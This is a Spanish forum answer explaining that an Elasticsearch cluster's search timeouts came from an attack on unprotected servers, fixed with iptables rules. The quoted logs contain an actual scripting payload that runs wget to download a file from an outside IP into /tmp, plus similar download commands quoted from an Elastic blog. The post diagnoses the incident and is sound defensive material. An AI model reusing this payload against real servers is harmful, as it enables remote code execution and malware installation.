sql >> Base de Datos >  >> NoSQL >> MongoDB

Elasticsearch agota el tiempo de espera en cada solicitud de búsqueda hasta que se reinicia

Problema resuelto:

Causa: Un ataque robótico a nuestros servidores que no estaban protegidos.

Según un artículo publicado por elasticsearch:

https://www.elastic.co/blog/scripting-security/

Medida tomada: Agregamos reglas de iptables a nuestro servidor de marionetas para aplicar todos nuestros servidores de búsqueda elástica.

Cometimos ese error y lamentablemente pagamos el precio. Ahora estamos de vuelta y funcionando.

Bueno, según los registros, encontré algo muy sospechoso

[2015-04-30 05:05:59,808][DEBUG][action.search.type       ] [Saint Anna] [_river][0], node[Oq7k-P26RoabKCjZ_YmlIw], [P], s[STARTED]: Failed to execute [[email protected]] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Anaconda][inet[/192.168.5.2:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [_river][0]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

Recortaré la parte principal:

exec(\"wget -O /tmp/xiao3 http://121.42.221.14:666/xiao3\")

Esta es la forma de un robot pirateado, ya que no tenemos a nadie llamado xiao o no alojamos nuestros servidores en China (según GEO-IP), sospechamos de esta línea.

Según el artículo mencionado anteriormente:

[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../4.sh -O /tmp/.4.sh").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
Caused by: java.io.IOException: Cannot run program "wget": error=2, No such file or directory
[Error: Runtime.getRuntime().exec("wget http://XXX.XXX.XX.XXX/.../getsetup.hb").getInputStream(): Cannot run program "wget": error=2, No such file or directory]
After vulnerable systems have been exploited, the infected system is running code in the /boot/.iptables file as well as modified /etc/init.d scripts.

El hacker aplicó algunas consultas desagradables que hicieron que nuestra búsqueda elástica dejara de funcionar.

Reiniciamos nuestros servidores y agregamos Iptables, y estamos de vuelta en el negocio.